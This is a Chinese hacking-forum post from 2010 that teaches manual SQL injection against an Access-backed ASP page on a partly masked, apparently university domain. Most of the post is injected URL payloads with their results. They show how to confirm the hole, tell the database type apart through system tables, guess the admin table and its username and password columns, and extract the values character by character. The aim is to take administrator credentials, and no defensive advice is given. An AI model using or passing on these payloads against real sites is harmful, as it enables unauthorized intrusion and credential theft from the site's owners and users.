WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2095查看
  • 0回复

主题

好友

2712

积分

禁止访问

发表于 2010-2-2 19:44:45 |显示全部楼层
SQL注入这么长时间,看见有的朋友还是不会手工注入,那么我来演示一下。高手略过。  
我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的。  
下面以这个网址为例:  

http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=1 返回了正常  
http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=2 返回了错误  
1=1是一个真,1=2是一假,所以会返回一个正常一个错误。  
SQL数据就会变成如下:   
select * from 表名 where 字段=’24’  
或者:  
http://zsb.xxx.edu.cn/2j.asp?id=24 and ’1’=’1’  
http://zsb.xxx.edu.cn/2j.asp?id=24 and ’1’=’2’  

注入存在了,判断数据库是ACC或MSS的,利用系统表   
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,  
在WEB环境下有访问权限。对于以下两条语句:  

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from sysobjects)>0   
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from msysobjects)>0   
若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。  
我们提交后两条后都为异常,可以判断为ACC的数据库。  
图3。  

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from 表名)>0  
如果表名存在就会返回正常,反页错误。  
刚开始我提交:  
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from admin)>0  
返回错误,说明不存在ADMIN这个表,当后来提交这个返回正常:  
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from article_admin)>0  
说明存在article_admin这个表。  
猜列名:  
and (select count(字段名) from article_admin)>0   
提交:  
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(username) from article_admin)>0   
返回了正常,接着提交:  
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(password) from article_admin)>0   
返回了正常,说明存在username和password这两个字段名。  
猜用户名和密码长度;  
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(username) from article_admin)=5  
返回正常,说明username内容长度为5  
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(password) from article_admin)=16  
正常,password内容长度为16,也就是MD5的值。  

猜用户名和密码内容:  
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 asc(mid(username,1,1)) from article_admin)=97  
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。  
猜第二位把username,1,1改成username,2,1就可以了。  
猜密码把username改成password就OK了。

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-2 09:17 , Processed in 0.055605 second(s), 16 queries .

返回顶部